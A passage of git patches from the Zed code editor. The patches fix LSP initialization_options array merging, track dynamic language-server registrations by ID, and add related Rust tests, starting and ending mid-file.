+                tracked_paths: &["src/main.rs"],
+                ..Default::default()
+            },
+        );
+    });
+
+    // Load a file within the excluded nested repository, as happens when a
+    // search that includes ignored files runs or when the file is opened.
+    worktree
+        .update(cx, |worktree, _| {
+            worktree.as_local().unwrap().refresh_entries_for_paths(vec![
+                rel_path(".scratch/worktrees/abc/project/src/main.rs").into(),
+            ])
+        })
+        .recv()
+        .await;
+    cx.run_until_parked();
+
+    // The nested repository's own `.git` must not cause the outer
+    // repository's `info/exclude` rules to be dropped.
+    worktree.update(cx, |worktree, _cx| {
+        check_worktree_entries(
+            worktree,
+            WorktreeExpectations {
+                ignored_paths: &[
+                    ".scratch/worktrees/abc",
+                    ".scratch/worktrees/abc/project",
+                    ".scratch/worktrees/abc/project/src",
+                    ".scratch/worktrees/abc/project/src/main.rs",
+                ],
+                tracked_paths: &["src/main.rs"],
+                ..Default::default()
+            },
+        );
+    });
+
+    // A file written inside the loaded nested repository (e.g. by a tool
+    // working in the clone) must also be ignored.
+    fs.save(
+        path!("/project/.scratch/worktrees/abc/project/src/generated.rs").as_ref(),
+        &"fn generated() {}".into(),
+        Default::default(),
+    )
+    .await
+    .unwrap();
+    cx.run_until_parked();
+
+    worktree.update(cx, |worktree, _cx| {
+        check_worktree_entries(
+            worktree,
+            WorktreeExpectations {
+                ignored_paths: &[".scratch/worktrees/abc/project/src/generated.rs"],
+                ..Default::default()
+            },
+        );
+    });
+
+    // Nothing under the excluded directories is visible to a traversal that
+    // skips ignored entries, which is what project search uses.
+    worktree.update(cx, |worktree, _cx| {
+        let unignored_entries = worktree
+            .entries(false, 0)
+            .filter(|entry| {
+                entry.path.starts_with(rel_path(".scratch"))
+                    && entry.path.as_ref() != rel_path(".scratch")
+            })
+            .map(|entry| entry.path.clone())
+            .collect::<Vec<_>>();
+        assert_eq!(
+            unignored_entries,
+            Vec::<Arc<RelPath>>::new(),
+            "entries under the excluded .scratch directories leaked into the unignored traversal",
+        );
+    });
+}
+
 #[derive(Default)]
 struct WorktreeExpectations {
     excluded_paths: &'static [&'static str],

From d61edb0825ae9a8dcc06c4f30547f4a1348f4a8f Mon Sep 17 00:00:00 2001
From: Benjamin Ye <24237065+GlassBricks@users.noreply.github.com>
Date: Thu, 23 Jul 2026 07:53:27 +0000
Subject: [PATCH 652/772] Fix incorrect array merging in LSP
 initialization_options (#54950)

In lsp_store, user's lsp initialization_options are merged into the
adapter's
defaults using `merge_json_value_into`; this merges by concatenating
arrays,
which can produce duplicate entries.

Adds merge_json_value_into_replacing_arrays, a variant that replaces
arrays instead of merging; uses it for LSP initialization options.
`merge_json_value_into` is kept since some callers intentionally
use array concatenation (extending rust-analyzer's
experimental.commands.commands list).

Closes #54892


Release Notes:

- Fixed duplicated or extra array values in LSP `initialization_options`
when user settings override LSP defaults with an array

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/languages/src/rust.rs                  | 32 +++---
 crates/project/tests/integration/lsp_store.rs | 97 +++++++++++++++++++
 crates/util/src/util.rs                       | 66 +++++++++++--
 3 files changed, 168 insertions(+), 27 deletions(-)

diff --git a/crates/languages/src/rust.rs b/crates/languages/src/rust.rs
index 16e0ff01fd559a..dde5e0b6ddad6a 100644
--- a/crates/languages/src/rust.rs
+++ b/crates/languages/src/rust.rs
@@ -692,31 +692,23 @@ impl LspAdapter for RustLspAdapter {
             .get(&SERVER_NAME)
             .is_some_and(|s| s.enable_lsp_tasks);
 
+        let mut commands = vec![
+            "rust-analyzer.showReferences",
+            "rust-analyzer.gotoLocation",
+            "rust-analyzer.triggerParameterHints",
+            "rust-analyzer.rename",
+        ];
+        if enable_lsp_tasks {
+            commands.push("rust-analyzer.runSingle");
+        }
+
         let mut experimental = json!({
             "commands": {
-                "commands": [
-                    "rust-analyzer.showReferences",
-                    "rust-analyzer.gotoLocation",
-                    "rust-analyzer.triggerParameterHints",
-                    "rust-analyzer.rename",
-                ]
+                "commands": commands,
             }
         });
-
         if enable_lsp_tasks {
-            merge_json_value_into(
-                json!({
-                    "runnables": {
-                        "kinds": [ "cargo", "shell" ],
-                    },
-                    "commands": {
-                        "commands": [
-                            "rust-analyzer.runSingle",
-                        ]
-                    }
-                }),
-                &mut experimental,
-            );
+            experimental["runnables"] = json!({ "kinds": ["cargo", "shell"] });
         }
 
         if let Some(original_experimental) = &mut original.capabilities.experimental {
diff --git a/crates/project/tests/integration/lsp_store.rs b/crates/project/tests/integration/lsp_store.rs
index 34f81fdbbe250f..c43db41353ef9e 100644
--- a/crates/project/tests/integration/lsp_store.rs
+++ b/crates/project/tests/integration/lsp_store.rs
@@ -1,5 +1,6 @@
 use std::{
     path::Path,
+    sync::Arc,
     time::{Duration, Instant},
 };
 
@@ -8,6 +9,7 @@ use futures::StreamExt;
 use gpui::TestAppContext;
 use language::{CodeLabel, FakeLspAdapter, HighlightId, rust_lang};
 use lsp::Uri;
+use parking_lot::Mutex;
 use project::{
     Project,
     lsp_store::{log_store::TestRpcRequestTracker, *},
@@ -291,3 +293,98 @@ fn test_trailing_newline_in_completion_documentation() {
         CompletionDocumentation::SingleLine(s) if s == "some value"
     ));
 }
+
+#[gpui::test]
+async fn test_user_initialization_options_override_adapter_arrays(cx: &mut TestAppContext) {
+    init_test(cx);
+
+    let user_settings = serde_json::json!({
+        "lsp": {
+            "the-fake-language-server": {
+                "initialization_options": {
+                    "preview": {
+                        "background": {
+                            "enabled": true,
+                            "args": ["--data-plane-host=127.0.0.1:23635", "--invert-colors=never"],
+                        },
+                    },
+                    "plugins": ["user-plugin"],
+                    "userOnly": ["user"],
+                },
+            },
+        },
+    });
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(
+        path!("/the-root"),
+        json!({
+            ".zed": {
+                "settings.json": user_settings.to_string(),
+            },
+            "main.rs": "fn main() {}",
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/the-root").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let sent_initialization_options = Arc::new(Mutex::new(None));
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "the-fake-language-server",
+            initialization_options: Some(json!({
+                "preview": {
+                    "background": {
+                        "args": ["--data-plane-host=127.0.0.1:23635", "--invert-colors=never"],
+                        "partialRendering": true,
+                    },
+                },
+                "plugins": ["default-plugin", "user-plugin"],
+                "adapterOnly": [1, 2],
+            })),
+            initializer: Some(Box::new({
+                let sent_initialization_options = sent_initialization_options.clone();
+                move |fake_server| {
+                    let sent_initialization_options = sent_initialization_options.clone();
+                    fake_server.set_request_handler::<lsp::request::Initialize, _, _>(
+                        move |params, _| {
+                            *sent_initialization_options.lock() = params.initialization_options;
+                            async move { Ok(lsp::InitializeResult::default()) }
+                        },
+                    );
+                }
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+    cx.run_until_parked();
+
+    project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/main.rs"), cx)
+        })
+        .await
+        .unwrap();
+    fake_servers.next().await.unwrap();
+    cx.run_until_parked();
+
+    assert_eq!(
+        sent_initialization_options.lock().take(),
+        Some(json!({
+            "preview": {
+                "background": {
+                    "enabled": true,
+                    "args": ["--data-plane-host=127.0.0.1:23635", "--invert-colors=never"],
+                    "partialRendering": true,
+                },
+            },
+            "plugins": ["user-plugin"],
+            "adapterOnly": [1, 2],
+            "userOnly": ["user"],
+        })),
+    );
+}
diff --git a/crates/util/src/util.rs b/crates/util/src/util.rs
index d4ebdfd5165f07..f86feca073fb4f 100644
--- a/crates/util/src/util.rs
+++ b/crates/util/src/util.rs
@@ -452,6 +452,9 @@ pub fn merge_json_lenient_value_into(
     }
 }
 
+/// Merges `source` into `target`: objects are merged recursively, key by key;
+/// any other colliding value in `target` — including arrays — is replaced by
+/// `source`'s value wholesale.
 pub fn merge_json_value_into(source: serde_json::Value, target: &mut serde_json::Value) {
     use serde_json::Value;
 
@@ -465,13 +468,6 @@ pub fn merge_json_value_into(source: serde_json::Value, target: &mut serde_json:
                 }
             }
         }
-
-        (Value::Array(source), Value::Array(target)) => {
-            for value in source {
-                target.push(value);
-            }
-        }
-
         (source, target) => *target = source,
     }
 }
@@ -1085,4 +1081,60 @@ Line 3"#
         assert_eq!(result[0], (0..6, "héllo")); // 'é' is 2 bytes
         assert_eq!(result[1], (10..15, "world")); // '🦀' is 4 bytes
     }
+
+    #[test]
+    fn test_merge_json_values() {
+        use serde_json::json;
+
+        let mut target = json!({
+            "unchanged": 1,
+            "replaced_scalar": "old",
+            "replaced_array": ["default-1", "default-2"],
+            "nulled": true,
+            "array_becomes_object": [1, 2],
+            "object_becomes_scalar": { "x": 1 },
+            "nested": {
+                "kept": true,
+                "overridden": 2,
+                "args": ["--default"],
+                "deeper": { "list": [1, 2], "other": "kept" },
+            },
+        });
+        let source = json!({
+            "replaced_scalar": "new",
+            "replaced_array": ["default-2", "user"],
+            "nulled": null,
+            "array_becomes_object": { "y": 2 },
+            "object_becomes_scalar": 3,
+            "inserted": ["brand-new"],
+            "nested": {
+                "overridden": 20,
+                "args": ["--user"],
+                "deeper": { "list": [3] },
+                "inserted": { "z": true },
+            },
+        });
+
+        merge_json_value_into(source, &mut target);
+
+        assert_eq!(
+            target,
+            json!({
+                "unchanged": 1,
+                "replaced_scalar": "new",
+                "replaced_array": ["default-2", "user"],
+                "nulled": null,
+                "array_becomes_object": { "y": 2 },
+                "object_becomes_scalar": 3,
+                "inserted": ["brand-new"],
+                "nested": {
+                    "kept": true,
+                    "overridden": 20,
+                    "args": ["--user"],
+                    "deeper": { "list": [3], "other": "kept" },
+                    "inserted": { "z": true },
+                },
+            })
+        );
+    }
 }

From b64e5dc8861f2a86e9bf12dde3151bd2d58515b4 Mon Sep 17 00:00:00 2001
From: Tautik Agrahari <tautikagrahari@gmail.com>
Date: Thu, 23 Jul 2026 07:53:30 +0000
Subject: [PATCH 653/772] project: Track inlay hint / code lens / document
 symbol registrations by ID (#55340)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

extends the precedent set by #43703 (thanks @reflectronic) so that
`textDocument/inlayHint`, `textDocument/codeLens`, and
`textDocument/documentSymbol` correctly track multiple dynamic
registrations by id. previously each register call overwrote the slot on
`ServerCapabilities`, and unregister either silently did nothing
(inlayHint, documentSymbol — no match arm) or wiped the entire
capability (codeLens). now each method keeps its own id-keyed map on
`DynamicRegistrations`; the field on `ServerCapabilities` is cleared
only when the last registration is removed.

textDocument-sync notifications (`didChange`/`didSave`/`willSave`) are
deliberately out of scope — their fan-out semantics are ambiguous in the
spec and were flagged on @smitbarmase's earlier exploration in #36876.

verified with `cargo check -p project -p lsp -p editor`, `cargo test -p
project --test integration -- multi_registration` (3/3 passing), and
`cargo fmt -p project`.

closes part of #37838.

Release Notes:

- Improved support for language servers that dynamically register inlay
hints, code lens, or document symbols multiple times.

---------

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/collab/src/rpc.rs                      |    8 +
 crates/editor/src/editor.rs                   |   49 +-
 crates/editor/src/editor_tests.rs             |   29 +-
 crates/editor/src/inlays/inlay_hints.rs       |  137 +-
 crates/editor/src/semantic_tokens.rs          |   17 +-
 crates/language/src/buffer.rs                 |   24 +-
 crates/language/src/buffer_tests.rs           |   94 +
 crates/project/src/lsp_store.rs               |  880 ++------
 crates/project/src/lsp_store/code_lens.rs     |  232 +-
 .../project/src/lsp_store/document_colors.rs  |  243 ++-
 .../project/src/lsp_store/document_links.rs   |  279 ++-
 .../project/src/lsp_store/document_symbols.rs |  268 ++-
 .../src/lsp_store/dynamic_registration.rs     | 1054 +++++++++
 .../project/src/lsp_store/folding_ranges.rs   |  248 ++-
 crates/project/src/lsp_store/inlay_hints.rs   |  117 +-
 .../project/src/lsp_store/semantic_tokens.rs  |  154 +-
 crates/project/src/project.rs                 |   56 +-
 .../tests/integration/dynamic_registration.rs | 1880 +++++++++++++++++
 .../tests/integration/project_tests.rs        |  290 +--
 crates/proto/proto/lsp.proto                  |   21 +
 crates/proto/proto/zed.proto                  |    6 +-
 crates/proto/src/proto.rs                     |   12 +
 .../remote_server/src/remote_editing_tests.rs |  461 +++-
 crates/search/src/project_search.rs           |   13 +-
 24 files changed, 4934 insertions(+), 1638 deletions(-)
 create mode 100644 crates/project/src/lsp_store/dynamic_registration.rs
 create mode 100644 crates/project/tests/integration/dynamic_registration.rs

diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index 4def99e182fae8..9bbca16a39296c 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -428,6 +428,14 @@ impl Server {
                 broadcast_project_message_from_host::<proto::RefreshSemanticTokens>,
             )
             .add_message_handler(broadcast_project_message_from_host::<proto::RefreshCodeLens>)
+            .add_message_handler(
+                broadcast_project_message_from_host::<proto::RefreshDocumentColors>,
+            )
+            .add_message_handler(broadcast_project_message_from_host::<proto::RefreshDocumentLinks>)
+            .add_message_handler(broadcast_project_message_from_host::<proto::RefreshFoldingRanges>)
+            .add_message_handler(
+                broadcast_project_message_from_host::<proto::RefreshDocumentSymbols>,
+            )
             .add_message_handler(broadcast_project_message_from_host::<proto::UpdateBufferFile>)
             .add_message_handler(broadcast_project_message_from_host::<proto::BufferReloaded>)
             .add_message_handler(broadcast_project_message_from_host::<proto::BufferSaved>)
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index e1f08e230f32fb..fbd6ad44d8c650 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -220,7 +220,7 @@ use project::{
     git_store::GitStoreEvent,
     lsp_store::{
         BufferSemanticTokens, CacheInlayHints, CompletionDocumentation, FormatTrigger,
-        LspFormatTarget, OpenLspBufferHandle, RefreshForServer,
+        LspFormatTarget, OpenLspBufferHandle,
     },
     project_settings::{DiagnosticSeverity, GoToDiagnosticSeverityFilter, ProjectSettings},
 };
@@ -2003,33 +2003,31 @@ impl Editor {
                 project,
                 window,
                 |editor, _, event, window, cx| match event {
-                    project::Event::RefreshCodeLens => {
+                    project::Event::RefreshCodeLens { .. } => {
                         editor.refresh_code_lenses(None, window, cx);
                     }
-                    project::Event::RefreshInlayHints {
-                        server_id,
-                        request_id,
-                    } => {
+                    project::Event::RefreshDocumentColors { .. } => {
+                        editor.refresh_document_colors(None, window, cx);
+                    }
+                    project::Event::RefreshDocumentLinks { .. } => {
+                        editor.refresh_document_links(None, cx);
+                    }
+                    project::Event::RefreshFoldingRanges { .. } => {
+                        editor.refresh_folding_ranges(None, window, cx);
+                    }
+                    project::Event::RefreshDocumentSymbols { .. } => {
+                        editor.refresh_document_symbols(None, cx);
+                    }
+                    project::Event::RefreshInlayHints { server_id } => {
                         editor.refresh_inlay_hints(
                             InlayHintRefreshReason::RefreshRequested {
                                 server_id: *server_id,
-                                request_id: *request_id,
                             },
                             cx,
                         );
                     }
-                    project::Event::RefreshSemanticTokens {
-                        server_id,
-                        request_id,
-                    } => {
-                        editor.refresh_semantic_tokens(
-                            None,
-                            Some(RefreshForServer {
-                                server_id: *server_id,
-                                request_id: *request_id,
-                            }),
-                            cx,
-                        );
+                    project::Event::RefreshSemanticTokens { .. } => {
+                        editor.refresh_semantic_tokens(None, true, cx);
                     }
                     project::Event::LanguageServerRemoved(_) => {
                         editor.registered_buffers.clear();
@@ -9936,7 +9934,7 @@ impl Editor {
                 .update_rules(new_semantic_token_rules);
             if language_settings_changed || semantic_token_rules_changed {
                 self.invalidate_semantic_tokens(None);
-                self.refresh_semantic_tokens(None, None, cx);
+                self.refresh_semantic_tokens(None, false, cx);
             }
         }
 
@@ -9955,7 +9953,7 @@ impl Editor {
         }
 
         self.invalidate_semantic_tokens(None);
-        self.refresh_semantic_tokens(None, None, cx);
+        self.refresh_semantic_tokens(None, false, cx);
         self.refresh_outline_symbols_at_cursor(cx);
     }
 
@@ -10850,7 +10848,7 @@ impl Editor {
         if let Some(buffer_id) = for_buffer {
             self.pull_diagnostics(buffer_id, window, cx);
         }
-        self.refresh_semantic_tokens(for_buffer, None, cx);
+        self.refresh_semantic_tokens(for_buffer, false, cx);
         self.refresh_document_colors(for_buffer, window, cx);
         self.refresh_document_links(for_buffer, cx);
         self.refresh_folding_ranges(for_buffer, window, cx);
@@ -11266,7 +11264,6 @@ pub trait SemanticsProvider {
     fn semantic_tokens(
         &self,
         buffer: Entity<Buffer>,
-        refresh: Option<RefreshForServer>,
         cx: &mut App,
     ) -> Option<Shared<Task<std::result::Result<BufferSemanticTokens, Arc<anyhow::Error>>>>>;
 
@@ -11426,13 +11423,11 @@ impl SemanticsProvider for WeakEntity<Project> {
     fn semantic_tokens(
         &self,
         buffer: Entity<Buffer>,
-        refresh: Option<RefreshForServer>,
         cx: &mut App,
     ) -> Option<Shared<Task<std::result::Result<BufferSemanticTokens, Arc<anyhow::Error>>>>> {
         self.update(cx, |this, cx| {
-            this.lsp_store().update(cx, |lsp_store, cx| {
-                lsp_store.semantic_tokens(buffer, refresh, cx)
-            })
+            this.lsp_store()
+                .update(cx, |lsp_store, cx| lsp_store.semantic_tokens(buffer, cx))
         })
         .ok()
     }
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index ff3e9bb162b876..3a6d2436e250fa 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -35729,7 +35729,6 @@ async fn test_insert_snippet(cx: &mut TestAppContext) {
 
 #[gpui::test]
 async fn test_inlay_hints_request_timeout(cx: &mut TestAppContext) {
-    use crate::inlays::inlay_hints::InlayHintRefreshReason;
     use crate::inlays::inlay_hints::tests::{cached_hint_labels, init_test, visible_hint_labels};
     use settings::InlayHintSettingsContent;
     use std::sync::atomic::AtomicU32;
@@ -35834,16 +35833,10 @@ async fn test_inlay_hints_request_timeout(cx: &mut TestAppContext) {
         })
         .unwrap();
 
-    editor
-        .update(cx, |editor, _window, cx| {
-            editor.refresh_inlay_hints(
-                InlayHintRefreshReason::RefreshRequested {
-                    server_id: fake_server.server.server_id(),
-                    request_id: Some(1),
-                },
-                cx,
-            );
-        })
+    fake_server
+        .request::<lsp::request::InlayHintRefreshRequest>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT)
+        .await
+        .into_response()
         .unwrap();
     cx.executor()
         .advance_clock(Duration::from_secs(BASE_TIMEOUT_SECS) + Duration::from_millis(100));
@@ -35870,16 +35863,10 @@ async fn test_inlay_hints_request_timeout(cx: &mut TestAppContext) {
             });
         });
     });
-    editor
-        .update(cx, |editor, _window, cx| {
-            editor.refresh_inlay_hints(
-                InlayHintRefreshReason::RefreshRequested {
-                    server_id: fake_server.server.server_id(),
-                    request_id: Some(2),
-                },
-                cx,
-            );
-        })
+    fake_server
+        .request::<lsp::request::InlayHintRefreshRequest>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT)
+        .await
+        .into_response()
         .unwrap();
     cx.executor()
         .advance_clock(Duration::from_secs(BASE_TIMEOUT_SECS * 4) + Duration::from_millis(100));
diff --git a/crates/editor/src/inlays/inlay_hints.rs b/crates/editor/src/inlays/inlay_hints.rs
index 0efc4355a628e6..de634f467f97e3 100644
--- a/crates/editor/src/inlays/inlay_hints.rs
+++ b/crates/editor/src/inlays/inlay_hints.rs
@@ -234,10 +234,7 @@ pub enum InlayHintRefreshReason {
     NewLinesShown,
     BufferEdited(BufferId),
     ServerRemoved,
-    RefreshRequested {
-        server_id: LanguageServerId,
-        request_id: Option<usize>,
-    },
+    RefreshRequested { server_id: LanguageServerId },
     BuffersRemoved(Vec<BufferId>),
 }
 
@@ -541,13 +538,11 @@ impl Editor {
             InlayHintRefreshReason::ServerRemoved => InvalidationStrategy::BufferEdited,
             InlayHintRefreshReason::NewLinesShown => InvalidationStrategy::None,
             InlayHintRefreshReason::BufferEdited(_) => InvalidationStrategy::BufferEdited,
-            InlayHintRefreshReason::RefreshRequested {
-                server_id,
-                request_id,
-            } => InvalidationStrategy::RefreshRequested {
-                server_id: *server_id,
-                request_id: *request_id,
-            },
+            InlayHintRefreshReason::RefreshRequested { server_id } => {
+                InvalidationStrategy::RefreshRequested {
+                    server_id: *server_id,
+                }
+            }
         };
 
         match &mut self.inlay_hints {
@@ -1196,17 +1191,8 @@ pub mod tests {
             })
             .unwrap();
         cx.executor().advance_clock(Duration::from_millis(5));
-        editor
-            .update(cx, |editor, _window, cx| {
-                editor.refresh_inlay_hints(
-                    InlayHintRefreshReason::RefreshRequested {
-                        server_id: fake_server.server.server_id(),
-                        request_id: Some(1),
-                    },
-                    cx,
-                );
-            })
-            .unwrap();
+        let refresh_request = fake_server
+            .request::<lsp::request::InlayHintRefreshRequest>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT);
         cx.executor().advance_clock(Duration::from_millis(5));
         editor
             .update(cx, |editor, _window, cx| {
@@ -1215,6 +1201,7 @@ pub mod tests {
             .unwrap();
         cx.executor().advance_clock(Duration::from_secs(1));
         cx.executor().run_until_parked();
+        refresh_request.await.into_response().unwrap();
         editor
             .update(cx, |editor, _window, cx| {
                 let expected_hints = vec!["2".to_string()];
@@ -1332,6 +1319,52 @@ pub mod tests {
                 assert_eq!(expected_hints, visible_hint_labels(editor, cx));
             })
             .unwrap();
+
+        run_work_cycle(&fake_server, progress_token + 1, cx).await;
+
+        editor
+            .update(cx, |editor, _, cx| {
+                let expected_hints = vec!["1".to_string()];
+                assert_eq!(
+                    expected_hints,
+                    cached_hint_labels(editor, cx),
+                    "Repeated work cycles without buffer changes should not invalidate hints again"
+                );
+                assert_eq!(expected_hints, visible_hint_labels(editor, cx));
+            })
+            .unwrap();
+
+        editor
+            .update(cx, |editor, window, cx| {
+                editor.handle_input("~", window, cx);
+            })
+            .unwrap();
+        cx.executor().run_until_parked();
+        editor
+            .update(cx, |editor, _, cx| {
+                let expected_hints = vec!["2".to_string()];
+                assert_eq!(
+                    expected_hints,
+                    cached_hint_labels(editor, cx),
+                    "A buffer edit should invalidate and re-query the hints"
+                );
+                assert_eq!(expected_hints, visible_hint_labels(editor, cx));
+            })
+            .unwrap();
+
+        run_work_cycle(&fake_server, progress_token + 2, cx).await;
+
+        editor
+            .update(cx, |editor, _, cx| {
+                let expected_hints = vec!["3".to_string()];
+                assert_eq!(
+                    expected_hints,
+                    cached_hint_labels(editor, cx),
+                    "A buffer edit should re-allow the work-end hint refresh"
+                );
+                assert_eq!(expected_hints, visible_hint_labels(editor, cx));
+            })
+            .unwrap();
     }
 
     #[gpui::test]
@@ -4124,17 +4157,8 @@ let c = 3;"#
             })
             .unwrap();
         // Emulate a language server refresh request, coming in the background..
-        editor
-            .update(cx, |editor, _, cx| {
-                editor.refresh_inlay_hints(
-                    InlayHintRefreshReason::RefreshRequested {
-                        server_id: fake_server.server.server_id(),
-                        request_id: Some(1),
-                    },
-                    cx,
-                );
-            })
-            .unwrap();
+        let refresh_request = fake_server
+            .request::<lsp::request::InlayHintRefreshRequest>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT);
         // Edit the 1st buffer while scrolled down and not seeing that.
         // The edit will auto scroll to the edit (1st buffer).
         editor
@@ -4151,6 +4175,7 @@ let c = 3;"#
 
         cx.executor().advance_clock(Duration::from_millis(1000));
         cx.executor().run_until_parked();
+        refresh_request.await.into_response().unwrap();
         editor
             .update(cx, |editor, _window, cx| {
                 assert_eq!(
@@ -4537,16 +4562,10 @@ let c = 3;"#
 
         // Trigger RefreshRequested from server A. This should re-fetch server A's
         // hints while keeping server B's hints intact.
-        editor
-            .update(cx, |editor, _window, cx| {
-                editor.refresh_inlay_hints(
-                    InlayHintRefreshReason::RefreshRequested {
-                        server_id: fake_server_a.server.server_id(),
-                        request_id: Some(1),
-                    },
-                    cx,
-                );
-            })
+        fake_server_a
+            .request::<lsp::request::InlayHintRefreshRequest>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT)
+            .await
+            .into_response()
             .unwrap();
         cx.executor().advance_clock(Duration::from_millis(100));
         cx.executor().run_until_parked();
@@ -4915,4 +4934,36 @@ let c = 3;"#
             .allowed_hint_kinds
             .clone()
     }
+
+    async fn run_work_cycle(
+        fake_server: &FakeLanguageServer,
+        progress_token: i32,
+        cx: &mut gpui::TestAppContext,
+    ) {
+        fake_server
+            .request::<lsp::request::WorkDoneProgressCreate>(
+                lsp::WorkDoneProgressCreateParams {
+                    token: lsp::ProgressToken::Number(progress_token),
+                },
+                DEFAULT_LSP_REQUEST_TIMEOUT,
+            )
+            .await
+            .into_response()
+            .expect("work done progress create request failed");
+        cx.executor().run_until_parked();
+        fake_server.notify::<lsp::notification::Progress>(lsp::ProgressParams {
+            token: lsp::ProgressToken::Number(progress_token),
+            value: lsp::ProgressParamsValue::WorkDone(lsp::WorkDoneProgress::Begin(
+                lsp::WorkDoneProgressBegin::default(),
+            )),
+        });
+        cx.executor().run_until_parked();
+        fake_server.notify::<lsp::notification::Progress>(lsp::ProgressParams {
+            token: lsp::ProgressToken::Number(progress_token),
+            value: lsp::ProgressParamsValue::WorkDone(lsp::WorkDoneProgress::End(
+                lsp::WorkDoneProgressEnd::default(),
+            )),
+        });
+        cx.executor().run_until_parked();
+    }
 }
diff --git a/crates/editor/src/semantic_tokens.rs b/crates/editor/src/semantic_tokens.rs
index d5a2d06f1941fc..0790712f5eda34 100644
--- a/crates/editor/src/semantic_tokens.rs
+++ b/crates/editor/src/semantic_tokens.rs
@@ -8,10 +8,7 @@ use gpui::{
 use itertools::Itertools;
 use language::language_settings::LanguageSettings;
 use project::{
-    lsp_store::{
-        BufferSemanticToken, BufferSemanticTokens, RefreshForServer, SemanticTokenStylizer,
-        TokenType,
-    },
+    lsp_store::{BufferSemanticToken, BufferSemanticTokens, SemanticTokenStylizer, TokenType},
     project_settings::ProjectSettings,
 };
 use settings::{
@@ -103,7 +100,7 @@ impl Editor {
     ) {
         self.semantic_token_state.toggle_enabled();
         self.invalidate_semantic_tokens(None);
-        self.refresh_semantic_tokens(None, None, cx);
+        self.refresh_semantic_tokens(None, false, cx);
     }
 
     pub(super) fn invalidate_semantic_tokens(&mut self, for_buffer: Option<BufferId>) {
@@ -116,7 +113,7 @@ impl Editor {
     pub(super) fn refresh_semantic_tokens(
         &mut self,
         buffer_id: Option<BufferId>,
-        for_server: Option<RefreshForServer>,
+        server_refreshed: bool,
         cx: &mut Context<Self>,
     ) {
         if !self.lsp_data_enabled() || !self.semantic_token_state.enabled() {
@@ -133,7 +130,7 @@ impl Editor {
         }
 
         let mut invalidate_semantic_highlights_for_buffers = HashSet::default();
-        if for_server.is_some() {
+        if server_refreshed {
             invalidate_semantic_highlights_for_buffers.extend(
                 self.semantic_token_state
                     .fetched_for_buffers
@@ -216,9 +213,9 @@ impl Editor {
                             }) {
                                 None
                             } else {
-                                sema.semantic_tokens(buffer, for_server, cx).map(
-                                    |task| async move { (buffer_id, query_version, task.await) },
-                                )
+                                sema.semantic_tokens(buffer, cx).map(|task| async move {
+                                    (buffer_id, query_version, task.await)
+                                })
                             }
                         })
                         .collect::<Vec<_>>()
diff --git a/crates/language/src/buffer.rs b/crates/language/src/buffer.rs
index 73cafbbeb6faae..00cf28568a5f0c 100644
--- a/crates/language/src/buffer.rs
+++ b/crates/language/src/buffer.rs
@@ -3210,16 +3210,15 @@ impl Buffer {
                 if triggers.is_empty() {
                     self.completion_triggers_per_language_server
                         .remove(&server_id);
-                    self.completion_triggers = self
-                        .completion_triggers_per_language_server
-                        .values()
-                        .flat_map(|triggers| triggers.iter().cloned())
-                        .collect();
                 } else {
                     self.completion_triggers_per_language_server
-                        .insert(server_id, triggers.iter().cloned().collect());
-                    self.completion_triggers.extend(triggers);
+                        .insert(server_id, triggers.into_iter().collect());
                 }
+                self.completion_triggers = self
+                    .completion_triggers_per_language_server
+                    .values()
+                    .flat_map(|triggers| triggers.iter().cloned())
+                    .collect();
                 self.text.lamport_clock.observe(lamport_timestamp);
             }
             Operation::UpdateLineEnding {
@@ -3391,16 +3390,15 @@ impl Buffer {
         if triggers.is_empty() {
             self.completion_triggers_per_language_server
                 .remove(&server_id);
-            self.completion_triggers = self
-                .completion_triggers_per_language_server
-                .values()
-                .flat_map(|triggers| triggers.iter().cloned())
-                .collect();
         } else {
             self.completion_triggers_per_language_server
                 .insert(server_id, triggers.clone());
-            self.completion_triggers.extend(triggers.iter().cloned());
         }
+        self.completion_triggers = self
+            .completion_triggers_per_language_server
+            .values()
+            .flat_map(|triggers| triggers.iter().cloned())
+            .collect();
         self.send_operation(
             Operation::UpdateCompletionTriggers {
                 triggers: triggers.into_iter().collect(),
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index 256deda29676c1..5c4bf46a11f7ed 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -4549,6 +4549,100 @@ fn test_autoindent_typescript_braceless_control_flow(cx: &mut App) {
     });
 }
 
+#[gpui::test]
+fn test_completion_triggers_across_language_servers(cx: &mut TestAppContext) {
+    cx.update(|cx| init_settings(cx, |_| {}));
+
+    let buffer = cx.new(|cx| Buffer::local("", cx));
+    let replica = cx.new(|cx| {
+        Buffer::from_proto(
+            ReplicaId::new(1),
+            Capability::ReadWrite,
+            buffer.read(cx).to_proto(cx),
+            None,
+        )
+        .unwrap()
+    });
+    replica.update(cx, |_, cx| {
+        cx.subscribe(&buffer, |this, _, event, cx| {
+            if let BufferEvent::Operation {
+                operation,
+                is_local: true,
+            } = event
+            {
+                this.apply_ops([operation.clone()], cx);
+            }
+        })
+        .detach();
+    });
+
+    let server_a = LanguageServerId(1);
+    let server_b = LanguageServerId(2);
